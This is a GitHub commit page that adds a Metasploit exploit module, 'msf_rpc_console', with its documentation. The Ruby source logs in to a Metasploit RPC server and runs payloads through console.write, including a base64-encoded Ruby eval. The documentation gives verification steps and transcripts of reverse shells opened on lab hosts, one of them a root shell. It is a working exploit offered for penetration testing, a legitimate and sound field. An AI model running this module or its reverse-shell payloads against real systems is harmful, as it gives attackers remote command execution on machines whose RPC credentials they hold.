Skip to content

Commit 8f6cac9

Browse files
David MaloneyDavid Maloney
David Maloney
authored and
David Maloney
committed
Land rapid7#8652, rpc console write exploit
lands pr for the metasploit rpc console write exploit
2 parents 0fde6c6 + baff473 commit 8f6cac9

File tree

2 files changed

+294
-0
lines changed

2 files changed

+294
-0
lines changed

‎documentation/modules/exploit/multi/misc/msf_rpc_console.md

Lines changed: 142 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,142 @@
1+
## Description
2+
3+
This module connects to a specified Metasploit RPC server and uses the *console.write* procedure to execute operating system commands. Valid credentials are required to access the RPC interface.
4+
5+
6+
## Vulnerable Application
7+
8+
[Metasploit](https://www.rapid7.com/products/metasploit/) is the world's most used penetration testing software. The RPC API can be used to programmatically drive the Metasploit Framework and Metasploit Pro products.
9+
10+
To start the RPC service, run `msfrpcd -U msf -P abc123`; or run `load msgrpc ServerHost=0.0.0.0 ServerPort=55552 User=msf Pass=abc123 SSL=Y` from within msfconsole.
11+
12+
This module has been tested successfully on:
13+
14+
* Metasploit 4.15 on Kali 1.0.6
15+
* Metasploit 4.14 on Kali 2017.1
16+
* Metasploit 4.14 on Windows 7 SP1
17+
18+
Source and Installers:
19+
20+
* [Source Code Repository](https://github.com/rapid7/metasploit-framework)
21+
* [Installers](https://github.com/rapid7/metasploit-framework/wiki/Downloads-by-Version)
22+
23+
## Verification Steps
24+
25+
1. Start `msfconsole`
26+
2. Do: `use exploit/multi/misc/msf_rpc_console`
27+
3. Do: `set RHOST [IP]`
28+
4. Do: `set RPORT [PORT]` (default: `55552`)
29+
5. Do: `set USERNAME [USERNAME]` (default: `msf`)
30+
6. Do: `set PASSWORD [PASSWORD]`
31+
7. Do: `set LHOST [IP]`
32+
8. Do: `run`
33+
9. You should get a session
34+
35+
36+
## Options
37+
38+
**Username**
39+
40+
The username for Metasploit RPC (default: `msf`).
41+
42+
**Password**
43+
44+
The password for the RPC user.
45+
46+
47+
## Scenarios
48+
49+
### Ruby Target
50+
51+
```
52+
msf > use exploit/multi/misc/msf_rpc_console
53+
msf exploit(msf_rpc_console) > set rhost 172.16.191.166
54+
rhost => 172.16.191.166
55+
msf exploit(msf_rpc_console) > set username msf
56+
username => msf
57+
msf exploit(msf_rpc_console) > set password abc123
58+
password => abc123
59+
msf exploit(msf_rpc_console) > set lhost 172.16.191.181
60+
lhost => 172.16.191.181
61+
msf exploit(msf_rpc_console) > set target 0
62+
target => 0
63+
msf exploit(msf_rpc_console) > run
64+
65+
[*] Started reverse TCP handler on 172.16.191.181:4444
66+
[+] 172.16.191.166:55552 - Authenticated successfully
67+
[*] 172.16.191.166:55552 - Metasploit 4.14.28-dev
68+
[*] 172.16.191.166:55552 - Ruby 2.3.3 x64-mingw32 2016-11-21
69+
[*] 172.16.191.166:55552 - API version 1.0
70+
[+] 172.16.191.166:55552 - Created console #0
71+
[*] 172.16.191.166:55552 - Sending payload...
72+
[*] Command shell session 1 opened (172.16.191.181:4444 -> 172.16.191.166:52984) at 2017-07-05 03:40:50 -0400
73+
74+
whoami
75+
win-sgbsd5tqutq\user
76+
```
77+
78+
### Windows CMD Target
79+
80+
```
81+
msf > use exploit/multi/misc/msf_rpc_console
82+
msf exploit(msf_rpc_console) > set rhost 172.16.191.166
83+
rhost => 172.16.191.166
84+
msf exploit(msf_rpc_console) > set username msf
85+
username => msf
86+
msf exploit(msf_rpc_console) > set password abc123
87+
password => abc123
88+
msf exploit(msf_rpc_console) > set lhost 172.16.191.181
89+
lhost => 172.16.191.181
90+
msf exploit(msf_rpc_console) > set target 0
91+
target => 1
92+
msf exploit(msf_rpc_console) > set payload cmd/windows/powershell_reverse_tcp
93+
payload => cmd/windows/powershell_reverse_tcp
94+
msf exploit(msf_rpc_console) > run
95+
96+
[*] Started reverse SSL handler on 172.16.191.181:4444
97+
[+] 172.16.191.166:55552 - Authenticated successfully
98+
[*] 172.16.191.166:55552 - Metasploit 4.14.28-dev
99+
[*] 172.16.191.166:55552 - Ruby 2.3.3 x64-mingw32 2016-11-21
100+
[*] 172.16.191.166:55552 - API version 1.0
101+
[+] 172.16.191.166:55552 - Created console #1
102+
[*] 172.16.191.166:55552 - Sending payload...
103+
[*] Powershell session session 2 opened (172.16.191.181:4444 -> 172.16.191.166:52996) at 2017-07-05 03:44:05 -0400
104+
105+
Windows PowerShell running as user user on WIN-SGBSD5TQUTQ
106+
Copyright (C) 2015 Microsoft Corporation. All rights reserved.
107+
108+
PS C:\metasploit>whoami
109+
win-sgbsd5tqutq\user
110+
```
111+
112+
### Unix CMD Target
113+
114+
```
115+
msf > use exploit/multi/misc/msf_rpc_console
116+
msf exploit(msf_rpc_console) > set rhost 172.16.191.215
117+
rhost => 172.16.191.215
118+
msf exploit(msf_rpc_console) > set username msf
119+
username => msf
120+
msf exploit(msf_rpc_console) > set password abc123
121+
password => abc123
122+
msf exploit(msf_rpc_console) > set lhost 172.16.191.181
123+
lhost => 172.16.191.181
124+
msf exploit(msf_rpc_console) > set target 2
125+
target => 2
126+
msf exploit(msf_rpc_console) > set payload cmd/unix/reverse_python
127+
payload => cmd/unix/reverse_python
128+
msf exploit(msf_rpc_console) > run
129+
130+
[*] Started reverse TCP handler on 172.16.191.181:4444
131+
[+] 172.16.191.215:55552 - Authenticated successfully
132+
[*] 172.16.191.215:55552 - Metasploit 4.15.0-dev-aceeedc
133+
[*] 172.16.191.215:55552 - Ruby 2.3.0 x86_64-linux 2015-12-25
134+
[*] 172.16.191.215:55552 - API version 1.0
135+
[+] 172.16.191.215:55552 - Created console #0
136+
[*] 172.16.191.215:55552 - Sending payload...
137+
[*] Command shell session 3 opened (172.16.191.181:4444 -> 172.16.191.215:40768) at 2017-07-05 03:46:11 -0400
138+
139+
id
140+
uid=0(root) gid=0(root) groups=0(root)
141+
```
142+

‎modules/exploits/multi/misc/msf_rpc_console.rb

Lines changed: 152 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,152 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core/rpc/v10/client'
7+
8+
class MetasploitModule < Msf::Exploit::Remote
9+
Rank = ExcellentRanking
10+
11+
include Msf::Exploit::Remote::Tcp
12+
13+
def initialize(info = {})
14+
super(update_info(info,
15+
'Name' => 'Metasploit RPC Console Command Execution',
16+
'Description' => %q{
17+
This module connects to a specified Metasploit RPC server and
18+
uses the 'console.write' procedure to execute operating
19+
system commands. Valid credentials are required to access the
20+
RPC interface.
21+
22+
This module has been tested successfully on Metasploit 4.15
23+
on Kali 1.0.6; Metasploit 4.14 on Kali 2017.1; and Metasploit
24+
4.14 on Windows 7 SP1.
25+
},
26+
'License' => MSF_LICENSE,
27+
'Author' => 'Brendan Coles <bcoles[at]gmail.com>',
28+
'References' =>
29+
[
30+
[ 'URL', 'https://help.rapid7.com/metasploit/Content/api/rpc/overview.html' ],
31+
[ 'URL', 'https://community.rapid7.com/docs/DOC-1516' ]
32+
],
33+
'Platform' => %w{ ruby unix win },
34+
'Targets' => [
35+
[ 'Ruby', { 'Arch' => ARCH_RUBY,
36+
'Platform' => 'ruby',
37+
'Payload' => { 'BadChars' => "\x00" } } ],
38+
[ 'Windows CMD', { 'Arch' => ARCH_CMD,
39+
'Platform' => 'win',
40+
'Payload' => { 'BadChars' => "\x00\x0A\x0D" } } ],
41+
[ 'Unix CMD', { 'Arch' => ARCH_CMD,
42+
'Platform' => 'unix',
43+
'Payload' => { 'BadChars' => "\x00\x0A\x0D" } } ]
44+
],
45+
'DefaultOptions' => { 'PrependFork' => true, 'WfsDelay' => 15 },
46+
'Privileged' => false,
47+
'DisclosureDate' => 'May 22 2011',
48+
'DefaultTarget' => 0))
49+
register_options [ Opt::RPORT(55552),
50+
OptString.new('USERNAME', [true, 'Username for Metasploit RPC', 'msf']),
51+
OptString.new('PASSWORD', [true, 'Password for the specified username', '']),
52+
OptBool.new('SSL', [ true, 'Use SSL', true]) ]
53+
end
54+
55+
def execute_command(cmd, opts = {})
56+
res = @rpc.call 'console.write', @console_id, "\r\n#{cmd}\r\n"
57+
58+
if res.nil?
59+
fail_with Failure::Unknown, 'Connection failed'
60+
end
61+
62+
unless res['wrote'].to_s =~ /\A\d+\z/
63+
print_error "Could not write to console #{@console_id}:"
64+
print_line res.to_s
65+
return
66+
end
67+
68+
vprint_good "Wrote #{res['wrote']} bytes to console"
69+
end
70+
71+
def exploit
72+
begin
73+
@rpc = Msf::RPC::Client.new :host => rhost, :port => rport, :ssl => ssl
74+
rescue Rex::ConnectionRefused => e
75+
fail_with Failure::Unreachable, 'Connection refused'
76+
rescue => e
77+
fail_with Failure::Unknown, "Connection failed: #{e}"
78+
end
79+
80+
res = @rpc.login datastore['USERNAME'], datastore['PASSWORD']
81+
82+
if @rpc.token.nil?
83+
fail_with Failure::NoAccess, 'Authentication failed'
84+
end
85+
86+
print_good 'Authenticated successfully'
87+
vprint_status "Received temporary token: #{@rpc.token}"
88+
89+
version = @rpc.call 'core.version'
90+
91+
if res.nil?
92+
fail_with Failure::Unknown, 'Connection failed'
93+
end
94+
95+
print_status "Metasploit #{version['version']}"
96+
print_status "Ruby #{version['ruby']}"
97+
print_status "API version #{version['api']}"
98+
99+
vprint_status 'Creating new console...'
100+
res = @rpc.call 'console.create'
101+
102+
if res.nil?
103+
fail_with Failure::Unknown, 'Connection failed'
104+
end
105+
106+
unless res['id'].to_s =~ /\A\d+\z/
107+
print_error 'Could not create console:'
108+
print_line res.to_s
109+
return
110+
end
111+
112+
@console_id = res['id']
113+
print_good "Created console ##{@console_id}"
114+
115+
print_status 'Sending payload...'
116+
117+
case target['Platform']
118+
when 'ruby'
119+
cmd = "ruby -e 'eval(%[#{Rex::Text.encode_base64(payload.encoded)}].unpack(%[m0]).first)'"
120+
when 'win'
121+
cmd = payload.encoded
122+
when 'unix'
123+
cmd = payload.encoded
124+
else
125+
fail_with Failure::NoTarget, 'Invalid target'
126+
end
127+
128+
execute_command cmd
129+
end
130+
131+
def cleanup
132+
return if @console_id.nil?
133+
134+
vprint_status 'Removing console...'
135+
res = @rpc.call 'console.destroy', @console_id
136+
137+
if res.nil?
138+
print_error 'Connection failed'
139+
return
140+
end
141+
142+
unless res['result'].eql? 'success'
143+
print_warning "Could not destroy console ##{@console_id}:"
144+
print_line res.to_s
145+
return
146+
end
147+
148+
vprint_good "Destroyed console ##{@console_id}"
149+
ensure
150+
@rpc.close
151+
end
152+
end

0 commit comments

Comments
 (0)